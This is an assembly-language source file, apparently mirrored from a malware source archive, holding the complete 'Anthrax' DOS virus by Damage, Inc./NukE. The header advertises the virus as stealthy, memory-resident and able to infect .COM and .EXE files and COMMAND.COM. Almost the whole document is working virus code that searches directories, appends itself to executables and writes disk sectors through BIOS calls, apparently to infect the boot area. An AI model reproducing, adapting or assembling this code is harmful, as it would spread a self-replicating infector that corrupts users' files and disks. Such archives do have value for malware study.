mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
450 lines
11 KiB
NASM
450 lines
11 KiB
NASM
;**************************************************************************
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;** ANTHRAX VIRUS **
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;** Created: 2 Jan 90 Programmer: (c) Damage, Inc. **
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;** [NukE] Notes: Another Stealth Type of Virus! and this one is Detected**
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;** by Scan (McAfee & Assc.) And does copy itself to *.COM **
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;** *.EXE and the Command.Com and is Memory Resident! **
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;** **
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;** Sources brought to you by -> Rock Steady [NukE]s Head Programmer! **
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;** **
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;**************************************************************************
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.286p
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DATA_1E EQU 46CH ; (0000:046C=2DH)
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DATA_2E EQU 4 ; (65AC:0004=0)
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DATA_3E EQU 7 ; (65AC:0007=0)
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DATA_10E EQU 5FEH ; (65AC:05FE=0)
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SEG_A SEGMENT BYTE PUBLIC
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ASSUME CS:SEG_A, DS:SEG_A
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ORG 100h
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ANTHRAX PROC FAR
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START:
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JMP LOC_24 ; (043B)
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DB 13 DUP (0)
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DB 95H, 8CH, 0C8H, 2DH, 0, 0
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DB 0BAH, 0, 0, 50H, 52H, 1EH
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DB 33H, 0C9H, 8EH, 0D9H, 0BEH, 4CH
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DB 0, 0B8H, 0CDH, 0, 8CH, 0CAH
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DB 87H, 44H, 44H, 87H, 54H, 46H
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DB 52H, 50H, 0C4H, 1CH, 0B4H, 13H
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DB 0CDH, 2FH, 6, 53H, 0B4H, 13H
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DB 0CDH, 2FH, 58H, 5AH, 87H, 4
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DB 87H, 54H, 2, 52H, 50H, 51H
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DB 56H, 0A0H, 3FH, 4, 0A8H, 0FH
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DB 75H, 6CH, 0EH, 7, 0BAH, 80H
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DB 0, 0B1H, 3, 0BBH, 77H, 6
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DB 0B8H, 1, 2, 50H, 0CDH, 13H
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DB 58H, 0B1H, 1, 0BBH, 0, 4
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DB 0CDH, 13H, 0EH, 1FH, 0BEH, 9BH
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DB 3, 8BH, 0FBH, 0B9H, 5EH, 0
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DB 56H, 0F3H, 0A6H, 5EH, 8BH, 0FBH
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DB 0B9H, 62H, 0, 56H, 0F3H, 0A4H
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DB 5FH, 0BEH, 12H, 8, 0B9H, 65H
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DB 0, 0F3H, 0A4H, 74H, 1EH, 89H
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DB 4DH, 0E9H, 0B1H, 5CH, 89H, 4DH
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DB 9BH, 88H, 6DH, 0DCH, 0B1H, 2
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DB 33H, 0DBH, 0B8H, 2, 3, 0CDH
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DB 13H, 49H, 0BBH, 0, 4, 0B8H
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DB 1, 3, 0CDH, 13H, 49H, 0B4H
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DB 19H, 0CDH, 21H, 50H, 0B2H, 2
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DB 0B4H, 0EH, 0CDH, 21H, 0B7H, 2
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DB 0E8H, 87H, 1, 5AH, 0B4H, 0EH
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DB 0CDH, 21H, 5EH, 1FH, 8FH, 4
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DB 8FH, 44H, 2, 8FH, 44H, 44H
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DB 8FH, 44H, 46H, 1FH, 1EH, 7
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DB 95H, 0CBH
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copyright DB '(c) Damage, Inc.'
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DB 0, 0B0H, 3, 0CFH, 6, 1EH
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DB 57H, 56H, 50H, 33H, 0C0H, 8EH
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DB 0D8H, 0BEH, 86H, 0, 0EH, 7
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DB 0BFH, 8, 6, 0FDH, 0ADH, 0ABH
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DB 0A5H, 0AFH, 87H, 0F7H, 0ADH, 0FCH
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DB 74H, 11H, 1EH, 7, 0AFH, 0B8H
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DB 7, 1, 0ABH, 8CH, 0C8H, 0ABH
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DB 8EH, 0D8H, 0BFH, 68H, 0, 0A5H
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DB 0A5H, 58H, 5EH, 5FH, 1FH, 7
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DB 2EH, 0FFH, 2EH, 0, 6, 6
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DB 1EH, 57H, 56H, 52H, 51H, 53H
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DB 50H, 0EH, 1FH, 0BEH, 6, 6
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DB 33H, 0C9H, 8EH, 0C1H, 0BFH, 84H
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DB 0, 0A5H, 0A5H, 0B4H, 52H, 0CDH
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DB 21H, 26H, 8BH, 47H, 0FEH, 8EH
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DB 0D8H, 0BBH, 3, 0, 3, 7
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DB 40H, 8EH, 0D8H, 81H, 7, 80H
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DB 0, 0EH, 7, 0B7H, 12H, 0E8H
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DB 0F2H, 0, 58H, 5BH, 59H, 5AH
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DB 5EH, 5FH, 1FH, 7, 2EH, 0FFH
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DB 2EH, 6, 6
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LOC_RET_1:
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RETN
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DB 91H, 0AEH, 0B4H, 0A8H, 0BFH
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DB 20H, 31H, 39H, 39H, 30H
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ANTHRAX ENDP
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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; SUBROUTINE
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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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SUB_1 PROC NEAR
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MOV AX,3D00H
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INT 21H ; DOS Services ah=function 3Dh
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; open file, al=mode,name@ds:dx
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JC LOC_RET_1 ; Jump if carry Set
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XCHG AX,BX
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MOV AX,1220H
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INT 2FH ; Multiplex/Spooler al=func 20h
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PUSH BX
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MOV BL,ES:[DI]
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MOV AX,1216H
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INT 2FH ; Multiplex/Spooler al=func 16h
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POP BX
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MOV SI,462H
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MOV DX,SI
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MOV CL,18H
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MOV AH,3FH ; '?'
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INT 21H ; DOS Services ah=function 3Fh
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; read file, cx=bytes, to ds:dx
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XOR AX,CX
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JNZ LOC_7 ; Jump if not zero
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PUSH ES
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POP DS
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MOV BYTE PTR [DI+2],2
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XOR DX,DX ; Zero register
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LOC_2:
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IN AL,DX ; port 0, DMA-1 bas&add ch 0
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CMP AL,10H
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JB LOC_2 ; Jump if below
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ADD AX,[DI+11H]
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ADC DX,[DI+13H]
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AND AL,0F0H
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CMP AX,0FB00H
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JAE LOC_7 ; Jump if above or =
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MOV [DI+15H],AX
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MOV [DI+17H],DX
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PUSH CS
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POP DS
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PUSH AX
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MOV CL,10H
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DIV CX ; ax,dx rem=dx:ax/reg
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SUB AX,[SI+8]
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MOV CX,AX
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SUB AX,[SI+16H]
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MOV DS:DATA_2E,AX ; (65AC:0004=0)
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LODSW ; String [si] to ax
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XOR AX,5A4DH
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JZ LOC_3 ; Jump if zero
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XOR AX,1717H
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LOC_3:
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PUSHF ; Push flags
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JNZ LOC_4 ; Jump if not zero
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MOV [SI],AX
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CMP AX,[SI+0AH]
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XCHG AX,[SI+12H]
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MOV DS:DATA_3E,AX ; (65AC:0007=0)
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MOV [SI+14H],CX
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MOV CX,4DCH
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JZ LOC_5 ; Jump if zero
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ADD WORD PTR [SI+8],48H
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LOC_4:
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MOV CX,65H
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LOC_5:
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PUSH CX
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MOV CX,39BH
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MOV AH,40H ; '@'
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INT 21H ; DOS Services ah=function 40h
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; write file cx=bytes, to ds:dx
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XOR CX,AX
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POP CX
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JNZ LOC_6 ; Jump if not zero
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MOV DX,400H
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MOV AH,40H ; '@'
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INT 21H ; DOS Services ah=function 40h
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; write file cx=bytes, to ds:dx
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XOR CX,AX
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LOC_6:
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POP DX
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POP AX
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LOC_7:
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JNZ LOC_11 ; Jump if not zero
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MOV ES:[DI+15H],CX
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MOV ES:[DI+17H],CX
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PUSH DX
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POPF ; Pop flags
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JNZ LOC_9 ; Jump if not zero
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MOV AX,ES:[DI+11H]
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MOV DX,ES:[DI+13H]
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MOV CH,2
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DIV CX ; ax,dx rem=dx:ax/reg
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TEST DX,DX
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JZ LOC_8 ; Jump if zero
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INC AX
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LOC_8:
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MOV [SI],DX
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MOV [SI+2],AX
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JMP SHORT LOC_10 ; (0328)
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LOC_9:
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MOV BYTE PTR [SI-2],0E9H
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ADD AX,328H
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MOV [SI-1],AX
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LOC_10:
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MOV CX,18H
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LEA DX,[SI-2] ; Load effective addr
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MOV AH,40H ; '@'
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INT 21H ; DOS Services ah=function 40h
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; write file cx=bytes, to ds:dx
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LOC_11:
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OR BYTE PTR ES:[DI+6],40H ; '@'
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MOV AH,3EH ; '>'
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LOC_12:
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INT 21H ; DOS Services ah=function 3Eh
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; close file, bx=file handle
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RETN
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SUB_1 ENDP
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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; SUBROUTINE
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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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SUB_2 PROC NEAR
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MOV DS,CX
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MOV BL,DS:DATA_1E ; (0000:046C=34H)
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PUSH CS
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POP DS
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INC DATA_7 ; (65AC:045E=0FC00H)
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MOV DX,64BH
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CALL SUB_3 ; (036D)
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MOV SI,60AH
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MOV BYTE PTR [SI],5CH ; '\'
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INC SI
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XOR DL,DL ; Zero register
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MOV AH,47H ; 'G'
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INT 21H ; DOS Services ah=function 47h
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; get present dir,drive dl,1=a:
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MOV DX,39BH
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LOC_13:
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MOV AH,3BH ; ';'
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INT 21H ; DOS Services ah=function 3Bh
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; set current dir, path @ ds:dx
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JCXZ LOC_14 ; Jump if cx=0
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MOV AH,51H ; 'Q'
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INT 21H ; DOS Services ah=function 51h
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; get active PSP segment in bx
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MOV DS,BX
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MOV DX,80H
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;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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SUB_3:
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MOV AH,1AH
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JMP SHORT LOC_12 ; (0339)
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LOC_14:
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JC LOC_17 ; Jump if carry Set
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MOV SI,39CH
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XOR DL,DL ; Zero register
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MOV AH,47H ; 'G'
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INT 21H ; DOS Services ah=function 47h
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; get present dir,drive dl,1=a:
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CMP CH,BYTE PTR DS:[3DCH] ; (65AC:03DC=81H)
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LOC_15:
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MOV CL,32H ; '2'
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MOV DX,29DH
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MOV AH,4EH ; 'N'
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JZ LOC_20 ; Jump if zero
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INT 21H ; DOS Services ah=function 4Eh
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; find 1st filenam match @ds:dx
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JC LOC_17 ; Jump if carry Set
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LOC_16:
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MOV DX,64BH
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MOV AX,4F01H
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MOV SI,3DCH
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MOV DI,668H
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STOSB ; Store al to es:[di]
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MOV CL,0DH
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REPE CMPSB ; Rep zf=1+cx >0 Cmp [si] to es:[di]
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JZ LOC_20 ; Jump if zero
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CMP CH,[DI-2]
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JE LOC_20 ; Jump if equal
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INT 21H ; DOS Services ah=function 4Fh
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; find next filename match
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JNC LOC_16 ; Jump if carry=0
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XOR AL,AL ; Zero register
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JMP SHORT LOC_15 ; (0380)
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DB 2AH, 2EH, 2AH, 0
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LOC_17:
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MOV CL,41H ; 'A'
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MOV DI,39CH
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CMP CH,[DI]
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MOV AL,CH
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MOV BYTE PTR DS:[3DCH],AL ; (65AC:03DC=81H)
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JZ LOC_23 ; Jump if zero
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REPNE SCASB ; Rep zf=0+cx >0 Scan es:[di] for al
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DEC DI
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MOV CL,41H ; 'A'
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MOV AL,5CH ; '\'
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STD ; Set direction flag
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REPNE SCASB ; Rep zf=0+cx >0 Scan es:[di] for al
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LEA SI,[DI+2] ; Load effective addr
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MOV DI,3DCH
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CLD ; Clear direction
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LOC_18:
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LODSB ; String [si] to al
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TEST AL,AL
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STOSB ; Store al to es:[di]
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JNZ LOC_18 ; Jump if not zero
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MOV DX,2CDH
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XOR CL,CL ; Zero register
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JMP SHORT LOC_13 ; (035E)
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DB 2EH, 2EH, 0
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LOC_19:
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MOV DX,64BH
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MOV AH,4FH ; 'O'
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LOC_20:
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INT 21H ; DOS Services ah=function 4Fh
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; find next filename match
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JC LOC_17 ; Jump if carry Set
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DATA_6 DW 69BEH
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DB 6, 0BFH, 0DCH, 3, 80H, 3CH
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DB 2EH, 74H, 0ECH, 88H, 2DH, 8BH
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DB 0D6H, 0F6H, 44H, 0F7H, 10H, 75H
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DB 0DBH
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LOC_21:
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LODSB ; String [si] to al
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TEST AL,AL
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STOSB ; Store al to es:[di]
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JNZ LOC_21 ; Jump if not zero
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DEC SI
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STD ; Set direction flag
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LODSW ; String [si] to ax
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LODSW ; String [si] to ax
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CLD ; Clear direction
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CMP AX,4558H
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JE LOC_22 ; Jump if equal
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CMP AX,4D4FH
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JNE LOC_19 ; Jump if not equal
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LOC_22:
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PUSH BX
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CALL SUB_1 ; (0262)
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POP BX
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XOR CX,CX ; Zero register
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MOV ES,CX
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MOV AL,ES:DATA_1E ; (0000:046C=38H)
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PUSH CS
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POP ES
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SUB AL,BL
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CMP AL,BH
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JB LOC_19 ; Jump if below
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LOC_23:
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MOV DX,80H
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MOV CL,3
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MOV BX,200H
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MOV AX,301H
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INT 13H ; Disk dl=drive 0: ah=func 03h
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; write sectors from mem es:bx
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MOV DX,60AH
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JMP LOC_13 ; (035E)
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SUB_2 ENDP
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LOC_24:
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XCHG AX,BP
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MOV DI,100H
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MOV BX,[DI+1]
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SUB BX,228H
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MOV AX,DI
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LEA SI,[BX+3FDH] ; Load effective addr
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MOVSW ; Mov [si] to es:[di]
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MOVSB ; Mov [si] to es:[di]
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XCHG AX,BX
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MOV CL,4
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SHR AX,CL ; Shift w/zeros fill
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MOV CX,DS
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ADD AX,CX
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MOV DX,0BH
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JMP SHORT LOC_26 ; (04CD)
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DB 0B8H, 0D0H
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DATA_7 DW 0FC00H
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DATA_8 DW 8587H
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DB 68H, 0FAH, 0ABH, 8CH, 0C8H, 0E2H
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DB 0F7H, 0A3H, 86H, 0, 0ABH, 8EH
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DB 0D8H, 0B4H, 8, 0CDH, 13H, 49H
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DB 49H, 0A1H, 0E9H, 3, 84H, 0E4H
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DB 74H, 1, 91H, 0B2H, 80H, 0B8H
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DB 3, 3, 0CDH, 13H, 91H, 84H
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DB 0E4H, 75H, 2
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DB 2CH, 40H
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LOC_25:
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DEC AH
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MOV DATA_6,AX ; (65AC:03E9=69BEH)
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INC DATA_8 ; (65AC:0460=8587H)
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XOR DH,DH ; Zero register
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MOV CX,1
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MOV BX,400H
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MOV AX,301H
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INT 13H ; Disk dl=drive ?: ah=func 03h
|
||
; write sectors from mem es:bx
|
||
MOV DL,DH
|
||
RETF ; Return far
|
||
DB 41H, 4EH, 54H, 48H, 52H, 41H
|
||
DB 58H, 0EH, 1FH, 83H, 2EH, 13H
|
||
DB 4, 2, 0CDH, 12H, 0B1H, 6
|
||
DB 0D3H, 0E0H, 8EH, 0C0H, 0BFH, 0
|
||
DB 4, 0BEH, 0, 7CH, 0B9H, 0
|
||
DB 1, 8BH, 0DEH, 0FCH, 0F3H, 0A5H
|
||
DB 8EH, 0D8H, 0BAH, 27H, 4
|
||
LOC_26:
|
||
PUSH CX
|
||
PUSH BX
|
||
PUSH AX
|
||
PUSH DX
|
||
RETF ; Return far
|
||
DB 8EH, 0C1H, 0B1H, 4, 0BEH, 0B0H
|
||
DB 5
|
||
|
||
LOCLOOP_27:
|
||
ADD SI,0EH
|
||
LODSW ; String [si] to ax
|
||
CMP AL,80H
|
||
JE LOC_29 ; Jump if equal
|
||
LOOP LOCLOOP_27 ; Loop if cx > 0
|
||
|
||
LOC_28:
|
||
INT 18H ; ROM basic
|
||
LOC_29:
|
||
XCHG AX,DX
|
||
STD ; Set direction flag
|
||
LODSW ; String [si] to ax
|
||
XCHG AX,CX
|
||
MOV AX,201H
|
||
INT 13H ; Disk dl=drive a: ah=func 02h
|
||
; read sectors to memory es:bx
|
||
CMP WORD PTR DS:DATA_10E,0AA55H ; (65AC:05FE=0)
|
||
JNE LOC_28 ; Jump if not equal
|
||
PUSH ES
|
||
PUSH DS
|
||
POP ES
|
||
POP DS
|
||
XOR DH,DH ; Zero register
|
||
MOV CX,2
|
||
XOR BX,BX ; Zero register
|
||
MOV AX,202H
|
||
INT 13H ; Disk dl=drive a: ah=func 02h
|
||
; read sectors to memory es:bx
|
||
JMP $-10FH
|
||
DB 0, 0, 0, 0, 0CDH, 20H
|
||
DB 0CCH
|
||
DB 112 DUP (1AH)
|
||
|
||
SEG_A ENDS
|
||
|
||
|
||
|
||
END START
|
||
|